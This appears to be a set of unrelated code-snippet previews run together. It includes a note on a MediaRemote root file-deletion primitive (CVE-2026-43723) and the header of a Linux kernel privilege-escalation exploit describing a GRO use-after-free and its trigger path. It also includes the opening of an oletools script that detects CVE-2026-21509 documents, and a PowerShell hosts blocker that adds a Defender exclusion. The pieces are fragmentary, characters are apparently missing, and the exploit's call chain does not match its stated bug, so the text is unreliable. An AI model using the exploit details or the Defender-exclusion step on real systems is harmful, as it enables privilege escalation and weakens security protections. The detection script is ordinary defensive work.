CVE-2026-43723. Technically an arbitrary root file write primitive, however, the cleanup path in MediaRemote deletes the file ca. 50ms after the write, so it effectively becomes an arbitrary root file deletion primitive.

LPE via GRO managed-frag UAF
/*
* gro_frag.cLPE via GRO managed-frag UAF (io_uring SEND_ZC + veth)
*
* The bug: skb_gro_receive() copies frag descriptors from a ZC skb
* (SKBFL_MANAGED_FRAG_REFSno per-frag page refs) into a non-ZC
* GRO accumulator. When the accumulator is freed, skb_release_data()
* calls put_page() on each fragincluding the stolen ones that never
* had get_page() called. This gives us one extra put_page per merged
* ZC frag: a refcount underflow.

*
* https://lore.kernel.org/stable/20260517121626.406516-1-rollkingzzc@gmail.com/
*
* Works on ALL kernels 4.18+ (including 6.5+ where sendpage was removed).
*
* Chain: sendfile → tls_sw_sendmsg(MSG_SPLICE_PAGES)
* → tls_sw_sendmsg_splice → sk_msg_page_add(msg_pl, page)
* → bpf_exec_tx_verdict(msg_pl)

olecheck - a simple script to identify potential CVE-2026-21509 samples
# script to scan MS Office files, looking for "Shell.Explorer" OLE objects which could match CVE-2026-21509
# using oletools - https://github.com/decalage2/oletools
# Philippe Lagadec 2026-01-28
# NOTES:
# According to the MS advisory https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509
# the CVE-2026-21509 vulnerability is related to CLSID "EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B",
# corresponding to the "Shell.Explorer" COM object, which can be used to open the legacy
# Internet Explorer engine (aka Trident/MSHTML) from any application.
# So to exploit CVE2026-21509 from a MS Office document, one could use either an OLE object
# ms-block.ps1 - Windows telemetry/AI blocker (idempotent, no dupes)
# Run as Administrator
$hostsPath = "$env:windir\System32\drivers\etc\hosts"
$marker = "# --- MS-BLOCK START ---"
$endMarker = "# --- MS-BLOCK END ---"
# Exclude hosts file from Defender
Add-MpPreference -ExclusionPath $hostsPath -ErrorAction SilentlyContinue
# Read current hosts, strip any previous MS-BLOCK section
